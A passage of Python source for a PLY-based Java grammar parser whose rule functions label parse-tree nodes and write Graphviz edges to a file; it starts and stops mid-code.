for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_TryStatement(p):\n '''TryStatement : TRY Block Catches Finally\n | TRY Block Catches\n | TRY Block Finally\n | TryWithResourcesStatement '''\n global TryStatement_counter\n p[0] = \"TryStatement_{%d}\" % (TryStatement_counter)\n TryStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_Catches(p):\n '''Catches : MultCatchClause'''\n global Catches_counter\n p[0] = \"Catches_{%d}\" % (Catches_counter)\n Catches_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_MultCatchClause(p):\n '''MultCatchClause : CatchClause MultCatchClause\n | CatchClause'''\n global MultCatchClause_counter\n p[0] = \"MultCatchClause_{%d}\" % (MultCatchClause_counter)\n MultCatchClause_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_CatchClause(p):\n '''CatchClause : CATCH LPAREN CatchFormalParameter RPAREN Block '''\n global CatchClause_counter\n p[0] = \"CatchClause_{%d}\" % (CatchClause_counter)\n CatchClause_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_CatchFormalParameter(p):\n '''CatchFormalParameter : ModifierList CatchType VariableDeclaratorId\n | ModifierList CatchType Identifier\n | CatchType VariableDeclaratorId\n | CatchType Identifier\n | Identifier Identifier'''\n global CatchFormalParameter_counter\n p[0] = \"CatchFormalParameter_{%d}\" % (CatchFormalParameter_counter)\n CatchFormalParameter_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_CatchType(p):\n '''CatchType : CatchType BOOLEANOR ClassType\n | CatchType BOOLEANOR Identifier\n | Identifier BOOLEANOR Identifier\n | ClassType '''\n global CatchType_counter\n p[0] = \"CatchType_{%d}\" % (CatchType_counter)\n CatchType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_Finally(p):\n '''Finally : FINALLY Block '''\n global Finally_counter\n p[0] = \"Finally_{%d}\" % (Finally_counter)\n Finally_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_TryWithResourcesStatement(p):\n '''TryWithResourcesStatement : TRY ResourceSpecification Block Catches Finally\n | TRY ResourceSpecification Block Catches\n | TRY ResourceSpecification Block Finally\n | TRY ResourceSpecification Block '''\n global TryWithResourcesStatement_counter\n p[0] = \"TryWithResourcesStatement_{%d}\" % (TryWithResourcesStatement_counter)\n TryWithResourcesStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ResourceSpecification(p):\n '''ResourceSpecification : LPAREN ResourceList SEMICOLON RPAREN\n | LPAREN ResourceList RPAREN '''\n global ResourceSpecification_counter\n p[0] = \"ResourceSpecification_{%d}\" % (ResourceSpecification_counter)\n ResourceSpecification_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ResourceList(p):\n '''ResourceList : Resource SEMICOLON ResourceList\n | Resource'''\n global ResourceList_counter\n p[0] = \"ResourceList_{%d}\" % (ResourceList_counter)\n ResourceList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_Resource(p):\n '''Resource : ModifierList Type VariableDeclaratorId EQUAL Expression\n | ModifierList Type Identifier EQUAL Expression\n | Type VariableDeclaratorId EQUAL Expression\n | Type Identifier EQUAL Expression\n | ModifierList Identifier VariableDeclaratorId EQUAL Expression\n | ModifierList Identifier Identifier EQUAL Expression\n | Identifier VariableDeclaratorId EQUAL Expression\n | Identifier Identifier EQUAL Expression'''\n global Resource_counter\n p[0] = \"Resource_{%d}\" % (Resource_counter)\n Resource_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n################################################################################\n\ndef p_Primary(p):\n '''Primary : PrimaryNoNewArray\n | ArrayCreationExpression '''\n\n global Primary_counter\n p[0] = \"Primary_{%d}\" % (Primary_counter)\n Primary_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_PrimaryNoNewArray(p):\n '''PrimaryNoNewArray : Literal\n | ClassLiteral\n | THIS\n | TypeName DOT THIS\n | Identifier DOT THIS\n | LPAREN Expression RPAREN\n | ClassInstanceCreationExpression\n | FieldAccess\n | ArrayAccess\n | MethodInvocation\n | MethodReference'''\n\n global PrimaryNoNewArray_counter\n p[0] = \"PrimaryNoNewArray_{%d}\" % (PrimaryNoNewArray_counter)\n PrimaryNoNewArray_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n else:\n f.write('sldkfjsldkfjlfdjlk')\n\ndef p_ClassLiteral(p):\n '''ClassLiteral : TypeName Brackets DOT CLASS\n | Identifier Brackets DOT CLASS\n | NumericType Brackets DOT CLASS\n | BOOLEAN Brackets DOT CLASS\n | TypeName DOT CLASS\n | Identifier DOT CLASS\n | Identifier DOT Identifier\n | NumericType DOT CLASS\n | BOOLEAN DOT CLASS\n | VOID DOT CLASS'''\n\n global ClassLiteral_counter\n p[0] = \"ClassLiteral_{%d}\" % (ClassLiteral_counter)\n ClassLiteral_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ClassInstanceCreationExpression(p):\n '''ClassInstanceCreationExpression : UnqualifiedClassInstanceCreationExpression\n | Identifier DOT UnqualifiedClassInstanceCreationExpression\n | TypeName DOT UnqualifiedClassInstanceCreationExpression\n | Primary DOT UnqualifiedClassInstanceCreationExpression'''\n\n global ClassInstanceCreationExpression_counter\n p[0] = \"ClassInstanceCreationExpression_{%d}\" % (ClassInstanceCreationExpression_counter)\n ClassInstanceCreationExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_UnqualifiedClassInstanceCreationExpression(p):\n '''UnqualifiedClassInstanceCreationExpression : NEW TypeArguments ClassOrInterfaceTypeToInstantiate LPAREN ArgumentList RPAREN ClassBody\n | NEW ClassOrInterfaceTypeToInstantiate LPAREN ArgumentList RPAREN ClassBody\n | NEW TypeArguments ClassOrInterfaceTypeToInstantiate LPAREN RPAREN ClassBody\n | NEW TypeArguments ClassOrInterfaceTypeToInstantiate LPAREN ArgumentList RPAREN\n | NEW TypeArguments ClassOrInterfaceTypeToInstantiate LPAREN RPAREN\n | NEW ClassOrInterfaceTypeToInstantiate LPAREN ArgumentList RPAREN\n | NEW ClassOrInterfaceTypeToInstantiate LPAREN RPAREN ClassBody\n | NEW ClassOrInterfaceTypeToInstantiate LPAREN RPAREN \n | NEW TypeArguments Identifier LPAREN ArgumentList RPAREN ClassBody\n | NEW Identifier LPAREN ArgumentList RPAREN ClassBody\n | NEW TypeArguments Identifier LPAREN RPAREN ClassBody\n | NEW TypeArguments Identifier LPAREN ArgumentList RPAREN\n | NEW TypeArguments Identifier LPAREN RPAREN\n | NEW Identifier LPAREN ArgumentList RPAREN\n | NEW Identifier LPAREN RPAREN ClassBody\n | NEW Identifier LPAREN RPAREN '''\n\n global UnqualifiedClassInstanceCreationExpression_counter\n p[0] = \"UnqualifiedClassInstanceCreationExpression_{%d}\" % (UnqualifiedClassInstanceCreationExpression_counter)\n UnqualifiedClassInstanceCreationExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ClassOrInterfaceTypeToInstantiate(p):\n '''ClassOrInterfaceTypeToInstantiate : MultAnnotation Identifier ClassOrInterfaceTypeToInstantiate1 TypeArgumentsOrDiamond\n | MultAnnotation Identifier TypeArgumentsOrDiamond\n | MultAnnotation Identifier ClassOrInterfaceTypeToInstantiate1\n | MultAnnotation Identifier\n | Identifier ClassOrInterfaceTypeToInstantiate1 TypeArgumentsOrDiamond\n | Identifier TypeArgumentsOrDiamond\n | Identifier ClassOrInterfaceTypeToInstantiate1\n '''\n\n global ClassOrInterfaceTypeToInstantiate_counter\n p[0] = \"ClassOrInterfaceTypeToInstantiate_{%d}\" % (ClassOrInterfaceTypeToInstantiate_counter)\n ClassOrInterfaceTypeToInstantiate_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ClassOrInterfaceTypeToInstantiate1(p):\n '''ClassOrInterfaceTypeToInstantiate1 : DOT MultAnnotation Identifier ClassOrInterfaceTypeToInstantiate1\n | DOT Identifier ClassOrInterfaceTypeToInstantiate1\n | DOT MultAnnotation Identifier \n | DOT Identifier '''\n\n global ClassOrInterfaceTypeToInstantiate1_counter\n p[0] = \"ClassOrInterfaceTypeToInstantiate1_{%d}\" % (ClassOrInterfaceTypeToInstantiate1_counter)\n ClassOrInterfaceTypeToInstantiate1_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_TypeArgumentsOrDiamond(p):\n '''TypeArgumentsOrDiamond : TypeArguments '''\n\n p[0] = p[1]\n\ndef p_FieldAccess(p):\n '''FieldAccess : Primary DOT Identifier\n | SUPER DOT Identifier\n | Identifier DOT SUPER DOT Identifier\n | TypeName DOT SUPER DOT Identifier'''\n\n global FieldAccess_counter\n p[0] = \"FieldAccess_{%d}\" % (FieldAccess_counter)\n FieldAccess_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ArrayAccess(p):\n '''ArrayAccess : TypeName LBRACKETS Expression RBRACKETS\n | Identifier LBRACKETS Expression RBRACKETS\n | PrimaryNoNewArray LBRACKETS Expression RBRACKETS '''\n\n global ArrayAccess_counter\n p[0] = \"ArrayAccess_{%d}\" % (ArrayAccess_counter)\n ArrayAccess_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MethodInvocation(p):\n '''MethodInvocation : Identifier LPAREN ArgumentList RPAREN\n | Identifier LPAREN RPAREN\n | TypeName DOT TypeArguments Identifier LPAREN ArgumentList RPAREN\n | TypeName DOT Identifier LPAREN ArgumentList RPAREN\n | TypeName DOT TypeArguments Identifier LPAREN RPAREN\n | TypeName DOT Identifier LPAREN RPAREN\n | Identifier DOT TypeArguments Identifier LPAREN ArgumentList RPAREN\n | Identifier DOT Identifier LPAREN ArgumentList RPAREN\n | Identifier DOT TypeArguments Identifier LPAREN RPAREN\n | Identifier DOT Identifier LPAREN RPAREN\n | Primary DOT TypeArguments Identifier LPAREN ArgumentList RPAREN\n | Primary DOT Identifier LPAREN ArgumentList RPAREN\n | Primary DOT TypeArguments Identifier LPAREN RPAREN\n | Primary DOT Identifier LPAREN RPAREN\n | SUPER DOT TypeArguments Identifier LPAREN ArgumentList RPAREN\n | SUPER DOT Identifier LPAREN ArgumentList RPAREN\n | SUPER DOT TypeArguments Identifier LPAREN RPAREN\n | SUPER DOT Identifier LPAREN RPAREN\n | TypeName DOT SUPER DOT TypeArguments Identifier LPAREN ArgumentList RPAREN\n | TypeName DOT SUPER DOT Identifier LPAREN ArgumentList RPAREN\n | TypeName DOT SUPER DOT TypeArguments Identifier LPAREN RPAREN\n | TypeName DOT SUPER DOT Identifier LPAREN RPAREN \n | Identifier DOT SUPER DOT TypeArguments Identifier LPAREN ArgumentList RPAREN\n | Identifier DOT SUPER DOT Identifier LPAREN ArgumentList RPAREN\n | Identifier DOT SUPER DOT TypeArguments Identifier LPAREN RPAREN\n | Identifier DOT SUPER DOT Identifier LPAREN RPAREN '''\n\n global MethodInvocation_counter\n p[0] = \"MethodInvocation_{%d}\" % (MethodInvocation_counter)\n MethodInvocation_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ArgumentList(p):\n '''ArgumentList : Expression COMMA ArgumentList\n | Expression'''\n\n global ArgumentList_counter\n p[0] = \"ArgumentList_{%d}\" % (ArgumentList_counter)\n ArgumentList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MethodReference(p):\n '''MethodReference : TypeName DOUBLECOLON TypeArguments Identifier\n | TypeName DOUBLECOLON Identifier\n | Identifier DOUBLECOLON TypeArguments Identifier\n | Identifier DOUBLECOLON Identifier\n | ReferenceType DOUBLECOLON TypeArguments Identifier\n | ReferenceType DOUBLECOLON Identifier\n | Primary DOUBLECOLON TypeArguments Identifier\n | Primary DOUBLECOLON Identifier\n | SUPER DOUBLECOLON TypeArguments Identifier\n | SUPER DOUBLECOLON Identifier\n | TypeName DOT SUPER DOUBLECOLON TypeArguments Identifier\n | TypeName DOT SUPER DOUBLECOLON Identifier\n | Identifier DOT SUPER DOUBLECOLON TypeArguments Identifier\n | Identifier DOT SUPER DOUBLECOLON Identifier\n | ClassType DOUBLECOLON TypeArguments NEW\n | ClassType DOUBLECOLON NEW\n | ArrayType DOUBLECOLON NEW '''\n\n global MethodReference_counter\n p[0] = \"MethodReference_{%d}\" % (MethodReference_counter)\n MethodReference_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ArrayCreationExpression(p):\n '''ArrayCreationExpression : NEW PrimitiveType DimExprs Dims\n | NEW PrimitiveType DimExprs\n | NEW ClassOrInterfaceType DimExprs Dims\n | NEW ClassOrInterfaceType DimExprs\n | NEW PrimitiveType Dims ArrayInitializer\n | NEW ClassOrInterfaceType Dims ArrayInitializer\n | NEW Identifier DimExprs Dims\n | NEW Identifier DimExprs\n | NEW Identifier Dims ArrayInitializer'''\n\n global ArrayCreationExpression_counter\n p[0] = \"ArrayCreationExpression_{%d}\" % (ArrayCreationExpression_counter)\n ArrayCreationExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_DimExprs(p):\n '''DimExprs : DimExpr DimExprs\n | DimExpr'''\n\n global DimExprs_counter\n p[0] = \"DimExprs_{%d}\" % (DimExprs_counter)\n DimExprs_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_DimExpr(p):\n '''DimExpr : MultAnnotation LBRACKETS Expression RBRACKETS\n | LBRACKETS Expression RBRACKETS'''\n\n global DimExpr_counter\n p[0] = \"DimExpr_{%d}\" % (DimExpr_counter)\n DimExpr_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_Expression(p):\n '''Expression : LambdaExpression\n | AssignmentExpression '''\n\n global Expression_counter\n p[0] = \"Expression_{%d}\" % (Expression_counter)\n Expression_counter+=1\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[1]))\n\ndef p_LambdaExpression(p):\n '''LambdaExpression : LambdaParameters ARROW LambdaBody\n | Identifier ARROW LambdaBody '''\n\n\ndef p_LambdaParameters(p):\n '''LambdaParameters : LPAREN FormalParameterList RPAREN\n | LPAREN RPAREN\n | LPAREN CommaSeparatedIdentifiers RPAREN\n | LPAREN Identifier RPAREN '''\n\n\n\ndef p_LambdaBody(p):\n '''LambdaBody : Expression\n | Block '''\n\n\ndef p_AssignmentExpression(p):\n '''AssignmentExpression : ConditionalExpression\n | Assignment '''\n\n global LambdaExpression_counter\n p[0] = \"AssignmentExpression_{%d}\" % (LambdaExpression_counter)\n LambdaExpression_counter+=1\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[1]))\n\ndef p_Assignment(p):\n '''Assignment : LeftHandSide AssignmentOperator Expression\n | TypeName AssignmentOperator Expression\n | Identifier AssignmentOperator Expression'''\n\n global Assignment_counter\n p[0] = \"Assignment_{%d}\" % (Assignment_counter)\n Assignment_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_LeftHandSide(p):\n '''LeftHandSide : FieldAccess\n | ArrayAccess '''\n\n global LeftHandSide_counter\n p[0] = \"LeftHandSide_{%d}\" % (LeftHandSide_counter)\n LeftHandSide_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_AssignmentOperator(p):\n '''AssignmentOperator : EQUAL\n | MULTIPLYEQUALS\n | DIVIDEEQUALS\n | MODULOEQUALS\n | PLUSEQUALS\n | MINUSEQUALS\n | LEFTSHIFTEQUALS\n | RIGHTSHIFTEQUALS\n | URIGHTSHIFTEQUALS\n | ANDEQUALS\n | XOREQUALS\n | OREQUALS'''\n\n global AssignmentOperator_counter\n p[0] = \"AssignmentOperator_{%d}\" % (AssignmentOperator_counter)\n AssignmentOperator_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ConditionalExpression(p):\n '''ConditionalExpression : ConditionalOrExpression QUESTIONMARK Expression COLON ConditionalExpression\n | ConditionalOrExpression QUESTIONMARK Expression COLON LambdaExpression\n | ConditionalOrExpression\n '''\n\n global ConditionalExpression_counter\n p[0] = \"ConditionalExpression_{%d}\" % (ConditionalExpression_counter)\n ConditionalExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_ConditionalOrExpression(p):\n '''ConditionalOrExpression : ConditionalOrExpression OR ConditionalAndExpression \n | ConditionalAndExpression\n '''\n\n global ConditionalOrExpression_counter\n p[0] = \"ConditionalOrExpression_{%d}\" % (ConditionalOrExpression_counter)\n ConditionalOrExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_ConditionalAndExpression(p):\n '''ConditionalAndExpression : ConditionalAndExpression AND InclusiveOrExpression\n | InclusiveOrExpression\n '''\n\n global ConditionalAndExpression_counter\n p[0] = \"ConditionalAndExpression_{%d}\" % (ConditionalAndExpression_counter)\n ConditionalAndExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_InclusiveOrExpression(p):\n '''InclusiveOrExpression : InclusiveOrExpression BOOLEANOR ExclusiveOrExpression\n | ExclusiveOrExpression\n '''\n\n global InclusiveOrExpression_counter\n p[0] = \"InclusiveOrExpression_{%d}\" % (InclusiveOrExpression_counter)\n InclusiveOrExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_ExclusiveOrExpression(p):\n '''ExclusiveOrExpression : ExclusiveOrExpression BOOLEANXOR AndExpression\n | AndExpression\n '''\n\n global ExclusiveOrExpression_counter\n p[0] = \"ExclusiveOrExpression_{%d}\" % (ExclusiveOrExpression_counter)\n ExclusiveOrExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_AndExpression(p):\n '''AndExpression : AndExpression BOOLEANAND EqualityExpression\n | EqualityExpression\n '''\n\n global AndExpression_counter\n p[0] = \"AndExpression_{%d}\" % (AndExpression_counter)\n AndExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_EqualityExpression(p):\n '''EqualityExpression : EqualityExpression EQUALS RelationalExpression\n | EqualityExpression NOTEQUALS RelationalExpression \n | RelationalExpression\n '''\n\n global EqualityExpression_counter\n p[0] = \"EqualityExpression_{%d}\" % (EqualityExpression_counter)\n EqualityExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_RelationalExpression(p):\n '''RelationalExpression : RelationalExpression LESSTHAN ShiftExpression\n | RelationalExpression GREATERTHAN ShiftExpression\n | RelationalExpression LESSTHANEQUAL ShiftExpression\n | RelationalExpression GREATERTHANEQUAL ShiftExpression\n | RelationalExpression INSTANCEOF ReferenceType\n | RelationalExpression INSTANCEOF Identifier\n | ShiftExpression'''\n\n global RelationalExpression_counter\n p[0] = \"RelationalExpression_{%d}\" % (RelationalExpression_counter)\n RelationalExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ShiftExpression(p):\n '''ShiftExpression : ShiftExpression LEFTSHIFT AdditiveExpression\n | ShiftExpression RIGHTSHIFT AdditiveExpression\n | ShiftExpression URIGHTSHIFT AdditiveExpression \n | AdditiveExpression\n '''\n\n global ShiftExpression_counter\n p[0] = \"ShiftExpression_{%d}\" % (ShiftExpression_counter)\n ShiftExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n#Removed left recursion\ndef p_AdditiveExpression(p):\n '''AdditiveExpression : AdditiveExpression PLUS MultiplicativeExpression\n | AdditiveExpression MINUS MultiplicativeExpression\n | MultiplicativeExpression'''\n\n global AdditiveExpression_counter\n p[0] = \"AdditiveExpression_{%d}\" % (AdditiveExpression_counter)\n AdditiveExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MultiplicativeExpression(p):\n '''MultiplicativeExpression : MultiplicativeExpression MULTIPLY UnaryExpression\n | MultiplicativeExpression DIVIDE UnaryExpression\n | MultiplicativeExpression MODULO UnaryExpression\n | UnaryExpression '''\n\n global MultiplicativeExpression_counter\n p[0] = \"MultiplicativeExpression_{%d}\" % (MultiplicativeExpression_counter)\n MultiplicativeExpression_counter+=1\n if (len(p) == 2):\n p[0] = p[1]\n else:\n for 